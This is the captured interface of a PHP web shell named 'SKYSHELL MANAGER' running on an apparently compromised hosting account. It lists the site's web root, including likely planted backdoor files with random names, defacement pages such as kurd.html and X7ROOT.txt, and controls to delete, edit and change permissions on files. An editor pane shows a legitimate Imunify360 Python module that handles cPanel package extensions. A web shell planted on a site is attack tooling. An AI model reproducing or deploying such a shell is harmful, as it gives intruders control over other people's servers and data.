📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: packages.py
import logging import datetime from typing import List from defence360agent.utils import timed_cache from defence360agent.subsys.panels.cpanel.whm import WHMAPIException, whmapi1 logger = logging.getLogger(__name__) class PackageNotExistError(WHMAPIException): pass class PkgInfo(dict): def extensions(self) -> List[str]: return self.get("_PACKAGE_EXTENSIONS", "").split() def has_extension(self, name: str) -> bool: return name in self.extensions() def name(self) -> str: return self["name"] @timed_cache(datetime.timedelta(seconds=90), maxsize=100) async def get_package_info(name: str) -> PkgInfo: try: data = await whmapi1("getpkginfo", pkg=name) except WHMAPIException as e: if "No such file or directory" in str(e): raise PackageNotExistError(e) else: raise info = PkgInfo(data["pkg"]) info["name"] = name return info async def list_packages(want="all") -> List[PkgInfo]: data = await whmapi1("listpkgs", want=want) return [PkgInfo(item) for item in data["pkg"]] async def remove_extension(extension_name: str, package_info: PkgInfo) -> None: """Removes extension from a package described by package_info.""" name = package_info.name() if package_info.has_extension(extension_name): await whmapi1( "delpkgext", name=name, _DELETE_EXTENSIONS=extension_name ) logger.info( "Extension %s disabled for package %s", extension_name, name ) return logger.info( "Extension %s was already disabled for package %s", extension_name, name, ) async def add_extension( extension_name: str, package_info: PkgInfo, **kwargs ) -> None: """Adds extension to a package described by package_info. kwargs holds extra variables to set for the extension.""" name = package_info.name() if not package_info.has_extension(extension_name): await whmapi1( "addpkgext", name=name, _PACKAGE_EXTENSIONS=extension_name, **kwargs ) logger.info( "Extension %s enabled for package %s", extension_name, name ) return logger.info( "Extension %s was already enabled for package %s", extension_name, name ) async def add_extension_for_all(extension_name: str, **kwargs) -> None: """Add given extension to all cPanel packages.""" for pkg in await list_packages(): try: await add_extension(extension_name, pkg, **kwargs) except WHMAPIException: logger.exception( "Unable to add extension %s to package %s", extension_name, pkg["name"], ) async def remove_extension_from_all(extension_name: str) -> None: """Remove given extension from all cPanel packages.""" for pkg in await list_packages(): try: await remove_extension(extension_name, pkg) except WHMAPIException: logger.exception( "Unable to remove extension %s from package %s", extension_name, pkg["name"], ) logger.info( "Imunify360 package extensions have been removed from all packages." )
Save